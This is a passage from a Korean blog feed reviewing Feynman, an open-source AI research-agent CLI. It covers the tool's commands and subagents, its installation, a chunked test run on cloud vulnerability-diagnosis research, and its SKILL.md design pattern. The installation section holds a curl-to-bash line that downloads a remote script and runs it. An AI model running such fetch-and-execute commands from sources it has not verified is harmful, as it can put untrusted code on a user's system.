&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;Google ADK, &quot;Developer's Guide to Multi-Agent Patterns&quot;, developers.googleblog.com, 2025&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;OpenAI, &quot;Swarm: Educational framework for multi-agent orchestration&quot;, github.com/openai/swarm, 2024&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;Anthropic, &quot;Building Effective AI Agents&quot;, resources.anthropic.com&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;Anthropic, &quot;How We Built Our Multi-Agent Research System&quot;, anthropic.com/engineering&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;GIRA, &quot;Guarded Tool-Using LLM Agents for Incident Response&quot;, OpenReview, 2024&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&quot;Exploration of LLM Multi-Agent Application Implementation Based on LangGraph+CrewAI&quot;, arXiv 2411.18241, 2024&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;</description>
      <category>Side Project/AI Powered</category>
      <author>땅콩킹땅콩</author>
      <guid isPermaLink="true">https://gomguk.tistory.com/319</guid>
      <comments>https://gomguk.tistory.com/319#entry319comment</comments>
      <pubDate>Wed, 8 Apr 2026 00:41:43 +0900</pubDate>
    </item>
    <item>
      <title>[LLM] Feynman 오픈소스 AI 리서치 에이전트 리뷰</title>
      <link>https://gomguk.tistory.com/318</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;0. 들어가며&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;최근 LLM 기반 에이전트 도구들이 빠르게 등장하고 있습니다. 코드 작성을 보조하는 수준을 넘어, 리서치 자동화, 논문 초안 작성, 코드 감사까지 수행하는 도구들이 속속 공개되고 있는데요. 이번 글에서는 그 중 하나인 &lt;b&gt;Feynman&lt;/b&gt;이라는 오픈소스 AI 리서치 에이전트(Research Agent)를 직접 설치하고 테스트해 본 경험을 공유합니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;결론부터 말씀드리면, &lt;b&gt;실제 보안 연구나 컨설팅 업무에 직접 접목하기에는 아직 한계가 있었습니다.&lt;/b&gt; 다만 Feynman이 채택한 SKILL.md 기반의 에이전트 설계 패턴은 충분히 차용할 만한 아이디어를 담고 있었고, 이 부분이 필자에게는 더 인상적이었습니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;GitHub 저장소: &lt;a href=&quot;https://github.com/getcompanion-ai/feynman&quot;&gt;https://github.com/getcompanion-ai/feynman&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;figure id=&quot;og_1775490188027&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;object&quot; data-og-title=&quot;GitHub - getcompanion-ai/feynman&quot; data-og-description=&quot;Contribute to getcompanion-ai/feynman development by creating an account on GitHub.&quot; data-og-host=&quot;github.com&quot; data-og-source-url=&quot;https://github.com/getcompanion-ai/feynman&quot; data-og-url=&quot;https://github.com/getcompanion-ai/feynman&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/cbAg7J/dJMb81GXYcM/1CFxdNUK97VHV2121R5hS0/img.png?width=1200&amp;amp;height=600&amp;amp;face=0_0_1200_600,https://scrap.kakaocdn.net/dn/h9x9Q/dJMb84p9nly/4xSpkYyxRzKfYuuV9OQHQ1/img.png?width=1200&amp;amp;height=600&amp;amp;face=0_0_1200_600,https://scrap.kakaocdn.net/dn/bmrzjn/dJMb8869wbc/Wp3CUV1iuUt8hk2W6KkkXK/img.png?width=3100&amp;amp;height=2325&amp;amp;face=0_0_3100_2325&quot;&gt;&lt;a href=&quot;https://github.com/getcompanion-ai/feynman&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://github.com/getcompanion-ai/feynman&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/cbAg7J/dJMb81GXYcM/1CFxdNUK97VHV2121R5hS0/img.png?width=1200&amp;amp;height=600&amp;amp;face=0_0_1200_600,https://scrap.kakaocdn.net/dn/h9x9Q/dJMb84p9nly/4xSpkYyxRzKfYuuV9OQHQ1/img.png?width=1200&amp;amp;height=600&amp;amp;face=0_0_1200_600,https://scrap.kakaocdn.net/dn/bmrzjn/dJMb8869wbc/Wp3CUV1iuUt8hk2W6KkkXK/img.png?width=3100&amp;amp;height=2325&amp;amp;face=0_0_3100_2325');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;GitHub - getcompanion-ai/feynman&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;Contribute to getcompanion-ai/feynman development by creating an account on GitHub.&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;github.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;1. Feynman 개요&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;Feynman은 &lt;b&gt;getcompanion-ai&lt;/b&gt; 조직에서 개발한 오픈소스 CLI 기반 AI 리서치 에이전트입니다. 2026년 3월에 처음 공개되었으며, 학술 연구와 기술 조사 워크플로우를 자동화하는 것을 목표로 합니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;핵심 특징&lt;/b&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;table style=&quot;height: 206px;&quot; width=&quot;857&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style16&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;항목&lt;/span&gt;&lt;/th&gt;
&lt;th&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;내용&lt;/span&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;저장소&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;code&gt;getcompanion-ai/feynman&lt;/code&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;버전&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;v0.2.16 (2026-03-29 기준)&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;라이선스&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;MIT&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;런타임&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;Node.js &amp;gt;= 20.19.0&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;LLM 지원&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;OpenAI, Anthropic, Google Gemini, Groq, xAI 등 다수&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;Feynman은 자체 모델을 탑재하지 않습니다. 외부 LLM API를 호출하는 &lt;b&gt;오케스트레이터(Orchestrator)&lt;/b&gt; 역할을 하며, 연구 과정을 여러 서브에이전트에게 분배하는 구조입니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;제공하는 주요 명령어&lt;/b&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;table data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;명령어&lt;/span&gt;&lt;/th&gt;
&lt;th&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;기능&lt;/span&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;code&gt;/deepresearch&lt;/code&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;다중 에이전트 기반 심층 조사. 병렬 연구 + 검증 + 합성&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;code&gt;/lit&lt;/code&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;문헌 리뷰. 논문 검색 + 1차 문헌 합성&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;code&gt;/review&lt;/code&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;모의 피어 리뷰. 심각도별 피드백 생성&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;code&gt;/audit&lt;/code&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;코드 감사. 논문 주장과 공개 코드의 재현 가능성 비교&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;code&gt;/replicate&lt;/code&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;실험 재현. 로컬/클라우드 환경에서 실행 계획과 스크립트 생성&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;code&gt;/draft&lt;/code&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;논문/보고서 초안 작성&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;code&gt;/autoresearch&lt;/code&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;자율 실험 루프. 메트릭 기반 반복 최적화&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;code&gt;/eli5&lt;/code&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;복잡한 연구를 쉬운 언어로 설명&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;4개의 핵심 서브에이전트&lt;/b&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;Feynman 내부에는 역할이 분리된 4개의 서브에이전트가 존재합니다.&lt;/span&gt;&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;Researcher&lt;/b&gt; - 논문, 웹, 레포지토리에서 근거를 수집&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;Reviewer&lt;/b&gt; - 심각도 기반 피어 리뷰 피드백 생성&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;Writer&lt;/b&gt; - 연구 노트를 기반으로 구조화된 초안 작성&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;Verifier&lt;/b&gt; - 인라인 인용 관리, 출처 URL 검증, 데드 링크 제거&lt;/span&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;각 서브에이전트 간 핸드오프(handoff)는 디스크 기반 파일로 이루어집니다. 스트리밍 컨텍스트가 아니라 중간 산출물을 파일로 주고받는 구조여서, 각 단계의 결과를 독립적으로 확인하고 재실행할 수 있다는 점이 특징입니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;2. 설치 방법&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;기본 설치 (macOS/Linux)&lt;/span&gt;&lt;/h3&gt;
&lt;pre class=&quot;groovy&quot;&gt;&lt;code&gt;curl -fsSL https://feynman.is/install | bash&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;설치 후 &lt;code&gt;~/.local/bin/feynman&lt;/code&gt; 경로에 바이너리가 생성됩니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;설치 확인&lt;/span&gt;&lt;/h3&gt;
&lt;pre class=&quot;applescript&quot;&gt;&lt;code&gt;feynman --version
# 0.2.16

feynman --help&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;필수 사전 조건&lt;/span&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;Node.js 20.19.0 이상&lt;/b&gt;이 설치되어 있어야 합니다&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;LLM API 키&lt;/b&gt; 최소 하나 이상 필요합니다 (OpenAI, Anthropic, Gemini 등)&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;Docker&lt;/b&gt; (선택) - 코드 실행 샌드박싱용&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;웹 검색&lt;/b&gt;: Gemini 또는 Perplexity API 키 필요&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;환경 변수 설정&lt;/span&gt;&lt;/h3&gt;
&lt;pre class=&quot;routeros&quot;&gt;&lt;code&gt;# ~/.feynman/.env 또는 환경변수로 설정
export ANTHROPIC_API_KEY=&quot;sk-ant-...&quot;
# 또는
export OPENAI_API_KEY=&quot;sk-...&quot;

# 웹 검색용 (선택)
export GEMINI_API_KEY=&quot;...&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;소스에서 빌드 (개발용)&lt;/span&gt;&lt;/h3&gt;
&lt;pre class=&quot;properties&quot;&gt;&lt;code&gt;git clone https://github.com/getcompanion-ai/feynman.git
cd feynman
nvm use || nvm install
npm install
npm run build&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;Skills-only 설치&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;전체 터미널 애플리케이션 없이 스킬만 가져오는 것도 가능합니다.&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;글로벌: &lt;code&gt;~/.codex/skills/feynman&lt;/code&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;레포지토리 로컬: &lt;code&gt;.agents/skills/feynman&lt;/code&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;3. 실제 활용 테스트&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;테스트 환경&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;필자의 작업 환경에는 이미 Node.js, Docker, Claude Code 등이 설치되어 있었기 때문에 Feynman 자체의 설치는 수월했습니다. 테스트 주제로는 실무와 관련된 &lt;b&gt;&quot;클라우드 진단 표준화를 위한 스크립트 기반 취약점 진단&quot;&lt;/b&gt;을 선정했습니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;실행 과정과 마주한 문제&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;처음에는 &lt;code&gt;/deepresearch&lt;/code&gt; 명령으로 한 번에 긴 프롬프트를 넘겨보았습니다.&lt;/span&gt;&lt;/p&gt;
&lt;pre class=&quot;dsconfig&quot;&gt;&lt;code&gt;feynman deepresearch --new-session \
  --prompt &quot;클라우드 진단 표준화를 위한 스크립트 기반 취약점 진단 ...&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;그러나 &lt;b&gt;&lt;code&gt;context_length_exceeded&lt;/code&gt;&lt;/b&gt; 에러가 반복적으로 발생했습니다. 대량의 한국어 프롬프트 + 연구 컨텍스트를 한 세션에 넣으면 토큰 한도를 빠르게 초과하는 문제였습니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;해결: 설정 최적화 + 청크 분할&lt;/span&gt;&lt;/h3&gt;
&lt;pre class=&quot;json&quot;&gt;&lt;code&gt;// ~/.feynman/agent/settings.json
{
  &quot;defaultThinkingLevel&quot;: &quot;minimal&quot;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;code&gt;defaultThinkingLevel&lt;/code&gt;을 &lt;code&gt;medium&lt;/code&gt;에서 &lt;code&gt;minimal&lt;/code&gt;로 변경하고, 하나의 긴 프롬프트를 &lt;b&gt;5개 청크로 분할&lt;/b&gt;하여 각각 &lt;code&gt;--new-session&lt;/code&gt;으로 실행했습니다.&lt;/span&gt;&lt;/p&gt;
&lt;pre class=&quot;dsconfig&quot;&gt;&lt;code&gt;# 청크별 개별 실행
feynman deepresearch --new-session --prompt &quot;청크1: 문제정의와 실패 패턴&quot; \
  &amp;gt; research_runs/chunk1.txt 2&amp;gt; research_runs/chunk1.err

feynman deepresearch --new-session --prompt &quot;청크2: AWS/Azure/GCP 통제군 설계&quot; \
  &amp;gt; research_runs/chunk2.txt 2&amp;gt; research_runs/chunk2.err

# ... chunk3 ~ chunk5 동일 패턴&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;산출물 구조&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;최종적으로 아래와 같은 산출물이 생성되었습니다.&lt;/span&gt;&lt;/p&gt;
&lt;pre class=&quot;glsl&quot;&gt;&lt;code&gt;클라우드-진단-표준화-스크립트-기반-취약점-진단/
├── final_report_cloud_script_based_audit.md   # 최종 통합 보고서
├── notes/
│   ├── 01_evidence_matrix.md                  # 주장-출처 매트릭스
│   ├── 02_research_notes.md                   # 연구 노트
│   ├── 03_framework.md                        # 표준화 프레임워크
│   ├── 04_verification_log.md                 # 검증 이력
│   └── 05_execute_commands.md                 # 실행 가이드
├── artifacts/
│   ├── eval_maturity.py                       # 성숙도 계산 스크립트
│   ├── control_catalog.sample.json            # 샘플 제어 카탈로그
│   └── scan_result.sample.json                # 샘플 스캔 결과
├── references/                                # 23개 참조 문서
└── research_runs/                             # 청크별 실행 결과&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;검증 실행&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;Feynman이 생성한 성숙도 평가 스크립트를 직접 실행해보았습니다.&lt;/span&gt;&lt;/p&gt;
&lt;pre class=&quot;stylus&quot;&gt;&lt;code&gt;python3 artifacts/eval_maturity.py \
  artifacts/control_catalog.sample.json \
  artifacts/scan_result.sample.json&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;makefile&quot;&gt;&lt;code&gt;overall_score=53.85
maturity_level=2
critical_block_count=0
domain_scores:
- identity: 55.56
- encryption: 50.0&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;스크립트 자체는 정상 동작했으며, 성숙도 레벨 2(표준화 초기 단계)로 평가되었습니다. 그러나 이것은 &lt;b&gt;샘플 데이터 기반의 시연용 결과&lt;/b&gt;이지, 실제 클라우드 환경을 진단한 결과가 아닙니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;4. SKILL.md 설계 패턴 분석&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;필자에게 Feynman에서 가장 인상적이었던 부분은 연구 결과물 자체보다 &lt;b&gt;SKILL.md 기반의 에이전트 설계 패턴&lt;/b&gt;이었습니다.&lt;/span&gt;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;SKILL.md란?&lt;/b&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;Feynman에서 각 기능(스킬)은 독립된 디렉토리 아래의 &lt;code&gt;SKILL.md&lt;/code&gt; 파일로 정의됩니다. 이 파일에는 YAML 프론트매터와 마크다운 본문으로 구성된 지침이 담겨 있습니다.&lt;/span&gt;&lt;/p&gt;
&lt;pre class=&quot;avrasm&quot;&gt;&lt;code&gt;name: deep-research
description: 심층 조사가 필요할 때 트리거. 다중 소스 기반 근거 수집과 검증을 수행.&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;본문에는 다음과 같은 내용이 포함됩니다.&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
